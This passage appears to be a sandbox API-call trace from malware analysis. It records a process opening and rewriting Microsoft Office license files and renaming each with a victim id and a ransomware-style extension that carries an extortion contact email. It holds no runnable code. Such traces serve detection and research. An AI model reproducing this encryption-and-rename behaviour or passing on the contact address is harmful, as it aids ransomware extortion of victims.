Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.484] CloseHandle (hObject=0x1228) returned 1 [0251.485] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.485] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.486] CloseHandle (hObject=0x1228) returned 1 [0251.487] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.487] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.487] CloseHandle (hObject=0x1228) returned 1 [0251.488] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.488] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.489] CloseHandle (hObject=0x1228) returned 1 [0251.490] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.490] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.491] CloseHandle (hObject=0x1228) returned 1 [0251.492] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.492] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.492] CloseHandle (hObject=0x1228) returned 1 [0251.494] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.494] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.494] CloseHandle (hObject=0x1228) returned 1 [0251.495] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.495] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.496] CloseHandle (hObject=0x1228) returned 1 [0251.497] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.497] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.497] CloseHandle (hObject=0x1228) returned 1 [0251.821] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.821] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.822] CloseHandle (hObject=0x1194) returned 1 [0251.823] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.823] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.824] CloseHandle (hObject=0x1194) returned 1 [0251.825] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.825] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.826] CloseHandle (hObject=0x1194) returned 1 [0251.830] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.830] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.831] CloseHandle (hObject=0x1194) returned 1 [0251.832] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.832] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.832] CloseHandle (hObject=0x1194) returned 1 [0251.833] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.834] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.834] CloseHandle (hObject=0x1194) returned 1 [0251.835] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.835] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.836] CloseHandle (hObject=0x1194) returned 1 [0251.837] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.837] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.837] CloseHandle (hObject=0x1194) returned 1 [0251.838] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.838] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.838] CloseHandle (hObject=0x1194) returned 1 [0251.839] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.839] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.840] CloseHandle (hObject=0x1194) returned 1 [0251.841] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.841] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.841] CloseHandle (hObject=0x1194) returned 1 [0251.858] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.858] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.858] CloseHandle (hObject=0x1194) returned 1 [0251.859] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.859] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.860] CloseHandle (hObject=0x1194) returned 1 [0251.861] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.861] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.861] CloseHandle (hObject=0x1194) returned 1 [0251.862] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.862] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.863] CloseHandle (hObject=0x1194) returned 1 [0251.864] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.864] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.865] CloseHandle (hObject=0x1194) returned 1 [0251.865] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.865] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.866] CloseHandle (hObject=0x1194) returned 1 [0251.867] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.867] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.867] CloseHandle (hObject=0x1194) returned 1 [0251.868] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.868] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.868] CloseHandle (hObject=0x1194) returned 1 [0251.869] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.869] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.870] CloseHandle (hObject=0x1194) returned 1 [0251.871] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.871] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.871] CloseHandle (hObject=0x1194) returned 1 [0251.872] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.873] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.088] CloseHandle (hObject=0x1194) returned 1 [0252.941] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.941] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.942] 